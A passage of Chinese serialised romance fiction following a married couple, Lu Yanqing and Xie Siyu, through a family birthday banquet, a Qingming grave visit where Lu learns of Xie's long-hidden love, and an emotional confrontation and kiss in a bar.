“时间可能有点紧,我也没换。”陆言卿的声音带着安抚,“我们直接去店里换,我已经跟朋友打好招呼了。” “好。” 谢思虞的心定了下来。 只要陆言卿有安排,她就不必担心。 四十分鐘后,盛装打扮的陆言卿和谢思虞,出现在了榕城鄭家为老夫人举办的八十寿宴上。 宴会没有设在酒店,而是在鄭家的别墅庄园里。 大厅人来人往,热闹非凡。 谢思虞刚进门,目光扫过人群,就捕捉到了几个熟悉的身影,更让她惊讶的是,谢知瑶竟然也在。 不过见她旁边站着吴兰欣也就见怪不怪了。 “我们先去见鄭老夫人。” 陆言卿的声音在耳畔响起,随即一只温热的手掌自然而然地牵起了她的手。 在女佣的引领下,她们径直穿过人群,走向别墅的二楼。 这一幕,清晰地落入了无数宾客的眼中。 低低的议论声如同水波般在她们身后漾开:“谢家真是烧了高香了,一个养女居然能入陆总的眼。” “啧啧,这可是陆总头一回在公开场合带着‘太太’露面吧?” “人家才新婚多久?你说呢?” “不论其他,看她们站在一起还是很般配的。” 宴会厅的角落。 谢知瑶自然也看到了光彩照人走进来的谢思虞,还有陆言卿那主动牵手的姿态。 那分明就是一种无声的,极具分量的宣告。 “得意什么啊。” 谢知瑶死死捏着手中的甜品叉,狠狠地戳着碟子里精致的蛋糕,仿佛那蛋糕就是谢思虞本人。 眼底翻涌的嫉妒几乎要溢出来。 吴兰欣不动声色地碰了碰她的胳膊,压低声音提醒:“瑶瑶,控制好你的情绪,今晚这场合,可不是你能闹脾气的地方。” 按理说,以谢家的根基,还够不上鄭家这样底蕴深厚的家族。 但沾了和陆家联姻的光,她才敢带谢知瑶来这里。 旁人看在陆家的面子上,也不会多说什么。 谢知瑶不甘心地撇撇嘴,几乎是从牙缝里挤出声音:“……我知道。” 清吧那晚的事情不知怎么传开后,圈子里那些原本爱嚼舌根的人也都噤了声。 谁还敢乱说? 都怕惹得陆言卿不悦,连带着家里的生意也跟着倒霉。 别墅二楼,书房。 陆言卿牵着谢思虞的手走进去。 红木茶桌后,端坐着今晚的寿星郑老夫人,她的孙女郑雪则安静地站在身侧。 旁边的几张红木椅上,还坐着几位分量极重的长辈:陆家老爷子、沈家、明家和鐘家的当家人。 陆言卿率先向郑老夫人问好,送上精心准备的贺礼,随后便落落大方地向在座的长辈们介绍身边的谢思虞:“爷爷,各位叔婶,这位是我的妻子,谢思虞。” 谢思虞今晚穿着一身素雅的中式连衣裙,气质温婉端庄。 即便面对这些在榕城举足轻重的长辈,她也丝毫不见怯场,脸上带着得体的微笑,从容地向各位问好。 “呼——思虞姐,你太厉害了!” 一走出书房,刚才还绷着的郑雪立刻长长舒了口气,心有余悸地拍着胸口,转头就对谢思虞竖起了大拇指,语气里满是佩服, “我在里面大气都不敢喘,你居然还能那么稳!” 谢思虞只是浅浅笑了笑,没说话。 其实,她手心也微微出了层薄汗,只是强撑着没露出来罢了。 “小雪。” 陆言卿停下脚步,对郑雪说,“你先带思虞下楼去找晚意。我还有点事,要再跟秦奶奶商量一下。” 她担心谢思虞独自在陌生的宴会上会不自在。 郑雪立刻比了个“OK”的手势,亲昵地挽起谢思虞的胳膊:“没问题!思虞姐,你跟我来。” 她嘴上应得爽快,心里却暗暗惊讶,虽然今天这种场合没人敢给陆言卿的太太难堪,但陆言卿这份细致入微的“维护”之意,还是让她有点意外。 原来那天在清吧,钟晚意悄悄跟她说的“陆言卿很在意谢思虞”竟是真的啊! 作为今晚宴会的小主人,郑雪亲自陪着谢思虞下楼,这举动自然又引得楼下大厅里一阵窃窃私语。 郑雪凑近谢思虞耳边,压低声音,带着点俏皮说:“思虞姐,别理那些嗡嗡声,酸葡萄心理罢了,不过嘛,佩服你的人肯定也有,比如我!” 说完,她自己先忍不住笑了起来。 她是真心佩服谢思虞,更好奇她身上到底有什么“特质”,能入得了陆言卿的眼。 “郑小姐这是在打趣我嗎?” 谢思虞唇角弯起浅浅的弧度,语气温和。 “真心话啦~” 郑雪拍拍胸脯保证。 说话间,她已领着谢思虞来到别墅一楼一间虚掩着门的房间前,里面传出钟晚意她们的说笑声。 “小雪你可算来了,咦?这位是……陆太太?” 窝在沙发里的秦枝听到门响回头,看到门口的郑雪如同见到救星,目光很快又落在谢思虞身上,带着好奇。 钟晚意顺手抄起一个抱枕扔向秦枝,目光扫过房间里的几位好友,介绍道:“这位是言卿的老婆。谢思虞。大家喊思虞姐就行。” 秦枝眨巴着眼睛,扯下贴在脸上的纸条,仔细打量了谢思虞一番——确实如传闻般漂亮。 但……算了,陆言卿的老婆,哪轮得到她品头论足。 钟晚意放下手里的牌,热情地迎上来:“思虞姐快进来坐!我介绍这几个家伙给你認识。” 原本谢思虞还有些局促,但在场的几位年轻女孩都格外热情友善,气氛很快轻松起来。 钟晚意眼睛一亮,问道:“思虞姐,你会玩斗地主吗?” 谢思虞捧着郑雪递过来的百香果汁,轻轻点头:“会一点?” 钟晚意站起身让座:“太好了,那你来替我吧,我这个月的零花钱都快被她们榨干了!” 她夸张地哀嚎着。 旁边,已经预支了两个月零花钱的秦枝,默默地埋头啃薯片,没敢吱声。 谢思虞还没完全反应过来,就被钟晚意拉到了牌桌前坐下。 钟晚意还“贴心”地拍拍她的肩膀,从善如流地说:“思虞姐放心大胆地玩,贏了算你的,输了嘛……算言卿的~” “输了算言卿的?” “你们这么说,那我可要認真了,言卿姐的钱可不好贏啊。” 旁边一位穿豆沙色连衣裙的女孩也笑着接话。 显然,在座的四位都曾在陆言卿手下“输”过不少。 谢思虞:“……” 很好,压力更大了。 第一局当地主,毫无悬念地输了。 好在连输两局后,运气似乎转了弯,她渐渐开始赢牌。 杨怡看着自己再次瘪下去的钱包,哭笑不得:“思虞姐,你该不会是会算牌吧?” 她就是刚才说要认真玩牌,赢谢思虞……哦,不,赢陆言卿钱的那位,结果几局下来,她输得最惨。 谢思虞抿了抿唇,有些不好意思地解释:“大概……只是运气好了一点?” 她真不会算牌,纯粹是后面几把抓到的牌顺了些。 牌桌上另一位气质温婉些的女生是秦枝的堂姐,秦莺。 她刚开始赢了不少,现在也大多“贡献”给了谢思虞。 “宴席还有十五分钟就开始了。” 钟晚意去洗手间回来,提醒大家该收牌了。 谢思虞放下手中的牌,走到钟晚意面前,轻声问:“晚意,卿卿还在二楼书房吗?” 钟晚意正整理着桌上的牌,头也没抬,随口答道:“没呢,我刚去洗手间时,看到沈伯母把她叫到别墅后院去了。” 她顿了顿,补充道:“好像是要介绍什么人给她认识吧。” “咣当——” 仿佛有什么东西在谢思虞脑子里狠狠撞了一下,瞬间一片嗡鸣。 谢思虞身体下意识变得绷紧,指尖冰凉,用了好几秒才勉强将那汹涌而来的恐慌压下去一点点。 她抱着最后一丝侥幸,声音带着不易察觉的微颤,追问:“沈……母亲是要介绍陶家的千金给卿卿认识吗?” “陶家千金?你说陶菀之?” 钟晚意终于抬起头,大大咧咧的她完全没注意到谢思虞短短几秒内苍白的脸色和极力掩饰的慌乱,想了想补充:“我不清楚啊,沈伯母没提名字。不过陶菀之今晚倒是来了宴会,我之前在大厅看见她了。” 谢思虞低垂着眼睫,掩去眸底翻涌的情绪,垂在身侧的手悄然攥紧,指甲几乎要陷进掌心,又缓缓松开。 她努力让自己的声音听起来平静:“晚意,你和大家先去前厅吧,我去后院找卿卿。” 离开房间,钟晚意叫来一个女佣给谢思虞带路:“行,那我们先过去了。” 她心思简单,全然没留意到谢思虞转身瞬间眼底一闪而逝的不安。 与此同时,别墅后院。 为了郑老夫人的寿宴,后院也被精心装点过,灯光柔和,花影摇曳。 陆言卿是被母亲叫来的,可母亲转眼就借故离开,只留下她与陶家的小姐陶菀之相对而立。 碍于两家情面,陆言卿没有立刻离开,但语气疏离而直接:“陶小姐特意请我母亲安排见面,是有事要谈?” 陶菀之穿着一身卡其色的圆领盖肩连衣裙,同色系的腰带勾勒出腰身,微卷的长发披散,妆容清淡,气质温婉。 她无意识地抓紧了手中的小包,面对心仪已久的人,紧张得手心微潮,杏眼中含着期待与忐忑:“陆小姐,我想问问,如果,如果一个月前我和你相亲,你会……考虑我吗?” 陆言卿闻言,眉梢几不可察地微挑了一下,目光这才真正落在陶菀之身上。 对方容貌柔美,带着书香门第浸润出的书卷气。 祖父当初确实塞给她一堆世家千金的资料,她连翻都没翻。 至于陶菀之口中的“相亲”,她模糊记起决定和谢思虞结婚后,母亲似乎提过陶家有这个意向。 “没有如果。” 陆言卿的回答干脆利落。 陶菀之的心猛地沉下去,带着一丝不甘执拗的追问:“如果有呢?” 陆言卿觉得这种假设毫无意义,但看着对方微红的眼眶,还是认真了几分,清晰地说道:“不会。陶小姐……不是我喜欢的类型。” “喜欢”两个字,被她咬得清晰明确,且耐人寻味。 陶菀之的唇瓣被咬得泛白,还想再说什么,一道温软的嗓音如同清风拂来,打破了后院的凝滞。 “卿卿?” 谢思虞的身影出现在后院,灯光勾勒出她略显单薄的身影。 陶菀之的目光瞬间聚焦在她身上,心头像是被什么重重一击,所以,陆言卿选择谢思虞,是因为……喜欢她吗? “宴席要开始了。” 谢思虞走到陆言卿身边,语气自然,接下来的动作带着一种宣告般的亲昵——她伸出手,带着一丝不易察觉的慌乱,握住了陆言卿垂在身侧的手。 掌心传来柔软而微凉的触感。 陆言卿侧目看了谢思虞一眼,没有半分挣脱的意思,反而极其自然地回握了一下,好似安抚,随即才看向陶菀之,介绍:“这位是陶菀之陶小姐,她的母亲和母亲是好友。” 谢思虞微微颔首:“陶小姐好。” 陶菀之眼尾泛红,她哭了。 刚才她和陆言卿说了什么呢? 抑制不住,开始胡思乱想。 “走吧,不是宴席要开始了吗?” 陆言卿察觉到谢思虞走神,轻轻摇晃她的手,拉着她转身离开。 谢思虞跟在陆言卿身后,好几次想要开口询问,终究没有勇气开口。 “杨怡在群里囔囔,说我老婆‘欺负’她?” 陆言卿捏了捏谢思虞的手,揶揄的目光落在谢思虞身上。 第96章 if线-如果没有穿越时空6 嫁给了喜…… 清明, 细雨绵绵。 上午九点,陸言卿开车,载着謝思虞去养老院接上外婆, 一同前往城西的墓园。 差不多40分钟后, 车子停在了墓园山脚下。 正好这时雨也停了。 薄雾像輕纱一样缠绕着山峦, 空气里是泥土和草木被雨水冲洗过的清冽气息。 特殊的日子,墓园里人影绰绰。 陸言卿停好车,謝思虞先下车, 小心地搀扶着外婆站稳, 才輕輕关上车门。 她又绕到车尾打开后备箱,里面放着一盒包装精美的蝴蝶酥。 只因为外婆念叨过, 这是母親生前最爱的点心。 “妈,这是陸言卿,我们结婚了。” 十分钟后,在一方静谧的墓碑前,謝思虞将点心輕轻摆放在母親墓前,眼中漾着溫柔的笑意,向照片里的母親介绍身邊的人。 墓碑上的黑白照片里, 女人溫婉娴静, 穿着翻领衬衫, 长发披肩, 眉眼间依稀可见謝思虞的影子。 岁月定格了她最后的模样。 陸言卿恭敬地鞠躬,将手中那捧黄白相间的菊花轻轻放在碑前:“母親,您好。” 声音里帶着晚辈的郑重。 “婉仪啊, 我们来看你了。” 李姜珍缓缓蹲下身,布滿老人斑的手指,极其缓慢、又珍视地抚过冰凉的石碑, 抚过照片上女儿永远年轻的脸庞。 眼眶早就红了,开口时,声音沙哑得不成样子:“小鱼……小鱼成家了,有她自己的家。她们俩会好好过,会互相扶持、互相照顾,你該放心了……” 她这一生,就只有婉仪这么一个女儿。 女儿那么争气,拼尽全力考出了大山,进了大城市的名牌大学,前程本該一片光明。 可偏偏……遇人不淑。 年轻啊,当年女儿太年轻了。 總以为炽热的爱情能战胜世间一切阻碍。 大学刚毕业,就一头扎进了和谢明远的感情里,铁了心要跟他相守一生。 甚至不管不顾,未婚生下了小鱼。 可她豁出性命去爱的那个男人,骨子里就是个自私自利、没有担当的混账! 月子里落下的病根,加上心伤难愈,女儿一天天憔悴下去,郁郁寡欢,不到半年,就撒手人寰。 她也曾抱着襁褓中的外孙女,千里迢迢找上谢家的门。 却撞见他谢明远新婚燕尔,喜气洋洋,仿佛生命中从未有过林婉仪这个人。 看着怀里小猫一样脆弱的孩子,她怎么忍心把她交给这样狼心狗肺的父亲? 只能咬碎了牙,忍着剜心般的痛,把孩子抱回了老家。 老伴早就走了,这世上,就只剩下怀里的孩子,是她唯一的血脉牵绊。 那年她才五十岁,还能干得动,拼了这把老骨头,也要把孩子拉扯大。 直到后来,她咳得越来越凶,整夜整夜撕心裂肺,肺都要咳出来似的。 医生说是肺病,传染性强。 看着孩子懵懂的眼睛,她怕啊,怕传染给孩子,更怕自己哪天倒下,这孩子怎么办? 而且,小鱼大了,该上学了…… 老家那点教育,怎么能耽误孩子的将来? 万般无奈之下才把孩子送回了谢家。 明知道那是龙潭虎穴,明知道年幼的外孙女回去必定要受委屈,可她还能有什么办法? 谢明远再不是东西,对自己的亲生骨肉,總还不至于……会虐待吧? 幸好他还有点良心,承诺会把孩子抚养长大。 这些年,为了不让自己成为外孙女的拖累,她执意住进了养老院。 “外婆。” 谢思虞轻轻将老人从冰冷的石阶上搀扶起来,“母亲在天有灵,会保佑我和卿卿的。您一定要保重身体。” 对于这个赋予她生命的人,她心中更多的是怜悯、同情与无尽的感恩。 母亲离世她还太小,根本没有关于她的任何记忆。 她能做的,或许就是完成母亲未了的心愿,从谢明远手里,拿回母亲的“遗物”。 “卿卿小心!” 墓园里人不少,就在她们旁邊几步开外,也有一家人在祭扫。 一个五六岁的小男孩手里的气球突然脱手,被山风吹着滚跑了。 孩子下意识就追着气球冲了过来,眼看就要一头撞在陆言卿身上,谢思虞惊呼提醒。 “对不起对不起,孩子不懂事,没撞到你们吧?” 男孩的母亲满脸惊慌地跑过来拽住孩子,连连向陆言卿和谢思虞鞠躬道歉。 陆言卿眉头微蹙,一手仍稳稳扶在谢思虞腰间:“山路湿滑,看好孩子。” 她虽然及时侧身避开了冲撞,但身旁的谢思虞,刚刚慌乱下来护她,一只脚踩进了旁邊的绿化帶里。 刚下过雨,泥土湿滑黏腻,万年青的叶片上还挂着水珠。 谢思虞的平底单鞋瞬间裹滿了泥浆,浅灰色的休闲裤裤脚也湿透了一大片,晕开深色的水渍。 谢思虞站稳身体,冲陆言卿摇摇头示意没事:“别担心,我没事,车里有备用的鞋。” 李姜珍也没料到这意外,低声斥了句“冒冒失失的熊孩子”,低头看到外孙女狼狈的裤脚和鞋子,满是心疼:“小鱼,你和卿卿先下山去车上换鞋,湿着脚寒气重,容易感冒。我再陪你妈说几句话。” 谢思虞哪里放心让外婆一个人留在山上,刚想拒絕,陆言卿溫润的嗓音也响了起来:“外婆说得对,湿着容易着凉。我们快去快回,稍后再上来接外婆。” 李姜珍赶紧点头,催促她们下山:“对对对,我就在这儿,哪儿也不去,能有什么事?你们快去换!” 谢思虞拗不过外婆,只好和陆言卿一起往山下停车场走去。 刚走到半途,远处天际传来沉闷的轰隆声。 谢思虞握紧了手中的折叠伞,回头望向半山腰方向,眼中满是担忧。 山风似乎更凉了。 “我去给外婆送伞。” 陆言卿看穿了谢思虞的心思,主动拿过她手中的伞,顺便把车钥匙塞到她手心,“你慢慢下山,小心路滑。” 说完人已经转过身,脚步加快,重新踏上了通往半山腰的石阶。 只是想尽快把伞送到外婆手里,别让老人淋着。 却万万没想到,这短短几分钟的折返,竟让她毫无防备的撞破了一个足以颠覆她整个世界的秘密。 外婆低哑哽咽的声音,帶着浓得化不开的鼻音,断断续续地飘了过来,被山风送进她的耳朵。 “小鱼这些年太苦了……在那个家里,不受父亲重视,又被继母和那个妹妹处处作践。好在,好在老天开眼,她如今嫁人了……” 老人停顿了一下,那哽咽里似乎又揉进了一点欣慰的暖意:“嫁的……还是她偷偷喜欢了好多年的姑娘。陆家那孩子,是个心善的,知道疼人……小鱼跟她在一块儿,我……我就是现在闭眼,也能安心了。” 「嫁的还是她偷偷喜欢了好多年的姑娘。」 轰—— 仿佛一道无声的惊雷,直接在陆言卿的脑海里炸开。 她猛地僵在原地,双脚像是被无形的钉子狠狠钉在了潮湿的石阶上,再也无法挪动半分。手里握着的伞柄变得异常冰凉坚硬,硌得掌心生疼。 外婆后面的话变得模糊不清,只有那句石破天惊的“喜欢了好多年”,在她耳边反复轰鸣、震荡。 每一个字都像重锤,狠狠敲在她的心口上。 原来。 谢思虞那个暗恋多年的人…… 竟然,就是她自己? 一股滚烫又酸涩的洪流瞬间冲垮了心防,心情也复杂到了极点,更让她几乎无法呼吸。 陆言卿怔怔地望着不远处外婆佝偻的背影,大脑一片空白,只剩下那个难以置信的真相在疯狂盘旋。 回程的车里,空气有些沉闷。 谢思虞敏锐地察觉到陆言卿心不在焉,因为她两次错过了该下的高速匝道口。 于是她们在高速公路上多绕了一个小时。 外婆安静地坐在后排,对这一切浑然不觉。 老人家不认得路,只当是路途遥远。 谢思虞识趣什么都没问。 只是默默地看着窗外飞速倒退的模糊风景,指尖无意识地蜷缩起来。 接下来的半个月,像被无形的墙隔开了。 陆言卿仿佛人间蒸发。 谢思虞分不清是陆氏集团真的忙得不可开交,还是陆言卿在刻意回避她。 总之,她们没有再见面。连一条信息都没有。 直到装修公司的电话打来,告诉她江海澜苑的“婚房”已经全部完工,随时可以验收。 这个消息,像一根微弱的稻草,终于给了谢思虞一个光明正大联系陆言卿的理由。 电话拨出去,听筒里冗长的“嘟——嘟——”声,每一声都敲在谢思虞的心上,时间变得格外难熬。 就在她几乎要放弃等待时,那边终于接通了,传来陆言卿温润的声音。 「有事吗?」 此刻,谢思虞正站在华晨里公寓的冰箱门前。 她下意识地握紧了手机,指尖用力到微微凹陷,声音放得很轻很轻,帶着一絲小心翼翼的试探:“婚房装修好了。如果你有时间的话,我们一起去商场挑挑家具?” 「装修好了?」 「嗯,之前奶奶提过,婚房的大部分家具都是定制的。当然,如果你想再添置些什么也可以。主卧床头柜里有我的银行卡,密码是我的生日,你喜欢什么就买什么。」 这话像一阵冷风,瞬间吹散了谢思虞为数不多的期待。 你喜欢什么就买什么。 潜台词再清晰不过:我可能不会去,你自己决定就好。 谢思虞眼中那点微弱的光,渐渐黯淡下去。 她伸手拉开了冰箱门,一股冷气扑面而来,激得她鼻尖发酸。 攥着手机的指节因为过度用力,绷得死白,失去了血色。 果然……是她想得太多了。 奢望了。 望着眼前空旷得有些冰冷的公寓,有些自虐地问出了那个她明知道答案的问题:“那……你今晚要回来吃饭吗?” 听筒那头,是长久的沉默。 那沉默像钝刀子,一点点割着谢思虞的心。 过了仿佛一个世纪,陆言卿的声音才缓缓传来。 「晚意约我去清吧坐坐。之前已经推了好几次,再不去,她怕是要直接杀到我办公室来了。」 谢思虞重重地吸了一口气,又沉沉地吐出来,勉强让自己的声音听起来还算平静,“好,我知道了。” 她维持着握着手机,僵立在冰箱前的姿势,很久很久。 直到冰箱因为门开得太久而发出“滴滴滴”的警报声,才将她从一片空茫的思绪中惊醒。 明明之前都还好好的。 陆言卿再忙也会回公寓。 到底……发生什么事了? “咔哒”一声,冰箱门被她有些脱力地关上。 隔絕了冷气,却隔絕不了心底那铺天盖地漫上来的冰冷。 眼底的悲伤藏都藏不住。 另一边。 Blue Note 清吧门口。 陆言卿确实没有说谎。 钟晚意约了她好几次,都被她以西郊新店装修事务繁忙为由,推了四五次。 奔驰车内,陆言卿眉眼低垂,看着手机屏幕上那通短暂通话的记录,指尖用力揉了揉突突跳动的太阳穴。 她闭了闭眼,深吸一口气,才勉强将心底那团乱麻般的复杂情绪压下去几分。 推开车门,夜风裹挟着城市的喧嚣涌来。 她下车,脚步略显沉重地走向钟晚意订好的卡座。 陆言卿找了个空位坐下,看也没看,直接拿起桌上的龙舌兰,给自己倒了半杯。 冰凉的液体滑入喉咙,带着灼烧般的辛辣,她仰头,一饮而尽,仿佛想借此浇灭心头的烦闷。 钟晚意刚从隔壁卡座听完八卦回来,没注意到好友眉宇间深锁的疲惫和那杯过于干脆的酒。 她兴致勃勃地挨着陆言卿坐下,神秘兮兮地凑近:“哎,言卿,还记得你之前想收购星海娱乐那事儿吗?啧啧,我刚听说,星海那个老总,卷了钱跑路了,留下一堆烂债和傻眼的艺人。” 话一出口,钟晚意就知道不该提,但她憋不住,更替陆言卿觉得不值。 她左右张望了一下,确定没有不相干的人,才压低声音,语气里满是讥讽。 “蘇蔓现在可是星海的艺人,怕是肠子都要悔青了吧?也不知道她那位邹总监,这会儿还有没有本事把她捧上‘顶峰’?” 在她看来。 蘇蔓就是典型的不知好歹。 陆言卿不过是一次失误没能帮她拿下角色,她就急不可耐地另攀高枝。 这下好了,彻底失去了陆言卿曾经准备给她的,独一无二的“偏爱”。 “以后,别在我面前提她的事。” 陆言卿将空玻璃杯“嗒”一声放回桌上,身体重重往后靠去,整个人陷进柔软的沙发里。 她神情带着一絲慵懒,又好似透着一絲烦躁。 钟晚意这才后知后觉地发现陆言卿情绪不对,吐了吐舌头,乖乖挪到杨怡那边坐下,用眼神示意:“谁惹她了?” 一直在低头玩游戏的杨怡茫然地抬起头,看了看陆言卿,同样困惑地摇头:“不知道啊。” 钟晚意无奈地翻了个白眼。 得,她这不是好心拉她出来散心嘛。 接下来的时间,卡座里的几个人都识趣地不去招惹低气压的陆言卿。 然而,偏偏有人要撞上来。 自从星海娱乐爆雷出事,蘇蔓又意外从某个圈内千金口中得知陆言卿曾经为了她动过收购星海的念头,整个人都懵了。 巨大的懊悔和羞愧几乎将她淹没,她押错了宝,输得一塌糊涂。 “卿卿……” 带着哭腔的声音突兀地响起。 蘇蔓连续几晚都在Blue Note蹲守,终于等到了陆言卿。 她不顾旁人目光,直接冲到卡座边,脸上梨花带雨,精心描绘的眼妆被泪水晕开,哭得伤心欲绝,楚楚可怜。 若是在从前,她们还是恋人的时候,陆言卿看到苏蔓这样落泪,必定心疼不已。 可如今,一切都结束了。 她有了妻子。 想到公寓里的谢思虞,陆言卿的喉咙像是被一团浸透了水的棉花死死堵住,沉重得几乎透不过气。 在苏蔓的手即将碰到她衣袖的瞬间,陆言卿站起身,不着痕迹地向旁边挪开了两个座位,动作带着明显的避让。 她的声音平静:“苏小姐,请注意场合和你的身份。你的忙,我帮不了。” 被如此干脆地拒绝,苏蔓不是没有心理准备,但亲耳听到,心还是像被狠狠剜了一刀。 眼底涌上绝望的猩红。 她和星海签了三年的合同,如今公司倒了,她想脱身都难如登天。 巨大的恐慌让她再次不管不顾地靠近,声音卑微到尘埃里:“卿卿,我没有别的意思,就是看在我们过去的情分上……求你,再考虑一下收购星海好不好?” 钟晚意在一旁看得火冒三丈,以前还觉得苏蔓有点傲骨,如今只觉得她不要脸到了极点。 她刚想开口呵斥,寂静的卡座里,响起另一道温柔的声音。 “卿卿。” 原本低垂着头的陆言卿猛地抬起头,循声望去——站在几步之外,灯光阴影交界处的身影,不是谢思虞还能是谁? 明明她和苏蔓之间清清白白,此刻被谢思虞撞见这一幕,陆言卿的心底莫名涌起一股强烈的心虚感,仿佛真的被妻子“抓包”了现场。 “你怎么来了?” 她的声音里带着一丝连自己都未曾察觉的慌乱。 谢思虞自己也不知道。 只是当她从公寓那冰冷的孤寂和心痛中找回一丝理智时,人已经站在了Blue Note的门口。 鬼使神差地,她想,就进来看一眼。 哪里想到,这一眼,竟让她看到了这样的一幕。 苏蔓正梨花带雨的乞求着她的妻子。 心口像被无数细密的针同时扎入,泛起尖锐又绵密的疼。 原来,这些天的避而不见,冷淡疏离,是因为……苏蔓又回来了吗? 一股混杂着委屈,酸楚和某种破釜沉舟的勇气,毫无预兆地冲垮了所有的理智和矜持。 在陆言卿惊愕的目光中,在苏蔓僵硬的注视下,在钟晚意和杨怡呆滞的眼神里。 谢思虞三步并作两步,径直走到陆言卿面前。 然后,在所有人的注视下,她毫不犹豫地侧身,直接坐在了陆言卿的腿上。 温热的身体骤然贴近,带着不容置疑的占有姿态。 陆言卿浑身一僵,愕然地睁大眼睛,看着近在咫尺的谢思虞。 “你……” 谢思虞双手捧住了陆言卿的脸颊,指尖微凉带着一丝轻颤。 当下她的眼神很复杂,有悲伤,有倔强,还有孤注一掷的决绝。 下一秒。 在陆言卿完全来不及做出任何反应之前,谢思虞微微仰头,将自己的唇,坚定地覆上了陆言卿微凉的唇瓣。 世界仿佛在这一刻静止了。 砰、砰、砰—— 周遭的一切好似被屏蔽掉了,陆言卿耳中只剩下自己心脏在胸腔里疯狂跳动的声音,沉重而急促。 还有……唇上那不容忽视的、温热柔软的触感。 独属于谢思虞的气息——清冽干净的橙花香,此刻密密实实地将她整个人包裹住。 那香气像是有了实质,霸道地钻进她的鼻腔,侵入她的肺腑,几乎要将她溺毙在这片突如其来的芬芳里。 身体比意识更快地做出了反应。 她没有推开怀里温软的身体。 甚至,在那股橙花香涌来的瞬间,她的手臂下意识地收拢,仿佛要确认这份真实。 而就在这失神的一刹那。 耳畔又回响起那日在墓园听到的话语。 「嫁的……还是她偷偷喜欢了好多年的姑娘。」 “卿卿,我……对不起!” 谢思虞回过神来立刻从陆言卿怀里弹开,像被烫到一样。 刚才那不顾一切的勇气消散,只剩下慌乱和害怕——怕看到她眼中哪怕一丝一毫的厌恶。 她不敢去看陆言卿的表情,眼眶一热,视线迅速模糊。 她低下头,几乎是踉跄着,转身就冲出了卡座,只想立刻逃离这让她无地自容的地方。 唇上残留的温热触感还在。 陆言卿怔怔地坐在原地,指尖无意识地抚过自己的唇瓣,那里仿佛还印着谢思虞唇瓣的软绵。 直到谢思虞仓惶的背影消失在门口,陆言卿像被什么刺了一下,猛地回神。 身体比思绪更快一步。 她甚至来不及细想自己为什么要追,人已经霍然起身,急切地拨开人群,朝着谢思虞逃离的方向追了出去。 第97章 if线-如果没有穿越时空7 我知道……… 卡座里, 空气凝固了几秒。 “这什么情况?” 钟晚意瞪圆了眼睛,看着陸言卿毫不犹豫追着謝思虞跑出去的背影,她拍了拍自己的脸, 怀疑刚才那电光火石的一幕是幻觉。 陸言卿……居然被人強吻了? 还是她那个看起来溫溫柔柔的妻子? 杨怡嘴巴微张, 脸上的震驚不比钟晚意少半分。 瞥向还僵在不远處的苏蔓, 比起之前刻意做戏的梨花带雨,此刻苏蔓脸上只剩下真实的绝望和灰败,眼淚无声地往下淌。 她用胳膊肘碰了碰钟晚意, 小声嘀咕:“晚意, 我怎么觉得……言卿姐这次,怕是真的要栽?” 钟晚意端起桌上的薄荷水, 咕咚灌下去大半杯压驚,難得没反驳杨怡。 她了解陸言卿,这婚结了,人住在一起,朝夕相處,加上謝思虞本身的条件……动心好像也无可厚非? 她忍不住“啧”了两声。 平心而论,謝思虞漂亮、溫婉, 有这样的妻子, 有什么不好? 目光再扫过那边失魂落魄的苏蔓时, 钟晚意唇角勾起一抹淡淡的讥讽。 人啊, 果然不能太得意忘形。 沙发上,苏蔓低着头,肩膀微微耸动, 淚水像断了线的珠子,怎么都止不住。 双手死死攥着沙发布料,指节用力到泛白, 满眼都是不甘和蚀骨的懊悔。 陸言卿不假思索追出去的那个背影,像一把锋利的刀,狠狠插在她心上。 陆言卿对謝思虞,分明已经上了心。 也许……连她自己都还没意识到。 与此同时,清吧门外。 陆言卿大步流星跑出来,带着凉意的晚风扑到她脸上。 一眼就看到谢思虞弯腰坐进了路边宾利车的驾驶座,很快又启动了引擎。 太陽穴突突地跳,陆言卿想也没想,几步冲到车前,一把拉开了驾驶座的车门。 “谢思虞!” 陆言卿胸口上下起伏,喘着粗气,左手死死撑着车门框,右手去抓谢思虞的手腕,声音带着一丝急切,“你跑什么?” 然而,当她的目光撞进谢思虞泛红的眼眶时,那点为数不多的怒气立刻消散了。 那双总是溫温柔柔看着她的眼睛里,此刻蓄满了淚水,睫毛湿漉漉地黏在一起,像受惊的小鹿,带着一种破碎的脆弱感。 陆言卿僵硬在原地。 下一秒,一股難以言喻的情绪涌上来,又气又无奈,还有点……说不清的心疼。 她简直要气笑了,握住谢思虞纤細的手腕,动作下意识放得极輕,小心翼翼地把人从驾驶座里拉出来。 两人面对面。 站在昏黄的路灯下。 光晕柔和地洒在谢思虞脸上,让那強忍的淚意和微微发红的鼻尖更加清晰。 陆言卿看着她这副模样,刚才在卡座里积攒的那点烦躁瞬间烟消云散,只剩下哭笑不得的无奈。 “谢思虞,你讲讲道理好不好?” 陆言卿态度不自觉放软,带着自己都没察觉的哄劝意味,“刚才是你冲过来吻的我,对吧?所以……” 她顿了顿,看着那不断涌出的泪水,声音更輕了,“你哭什么?” 她抬起手,用拇指指腹极其輕柔地擦拭谢思虞眼角滑落的泪珠。 可那眼泪越擦越多,温热的湿意沾湿了她的指尖,也让她的心跟着一点点揪紧。 谢思虞偏过头,躲开了陆言卿的手。 她垂着眼,视线盯着地面,垂在身侧的双手紧紧攥着自己衬衫的衣摆。 卷翘的长睫毛上还挂着細小的水珠,随着她細微的颤抖而晃动。 开口时,嗓音哑得厉害,带着浓重的鼻音和深深的不安:“对不起……” 又是道歉。 陆言卿叹息,一瞬不瞬地看着眼前这个名义上的妻子,心里像是打翻了五味瓶。 她是委屈才哭? 还是因为害怕强吻了她会被厭恶而哭? 或者……两者都有? 无论是哪一种,陆言卿都感到一种陌生烦躁。 她不喜欢看谢思虞流泪,那眼泪像针,扎得她心口不舒服。 她下意识地往后退了一小步,拉开一点距离,歪着头,目光細细地打量着谢思虞。 白色的翻领衬衫,黑色的直筒裤,半扎的头发有几缕散落在颊边,整个人看起来单薄又倔强,像一株在风雨里搖搖欲坠的花。 路灯的光线勾勒着她柔和的侧脸线条,也照进陆言卿此刻一团糟的心底。 深吸一口气,陆言卿终于开口:“谢思虞,你不用跟我道歉。” “那天在墓园,我听到外婆说的话了。” 她抿了抿唇,继续揭开那个萦绕在她心头多日的秘密:“我知道……你喜欢我的事了。” 谢思虞猛地抬起头,眼中只剩下纯粹的惊愕和慌乱,脸也在片刻间褪去所有血色,变得惨白一片。 连哭泣都忘了,更不知道该怎样面对陆言卿,呼吸滞涩,语无伦次道:“我……对不起,我不知道你……你已经知道了……” 她做梦也没想到,陆言卿这几天的异常,竟然是因为撞破了她埋藏心底多年的秘密。 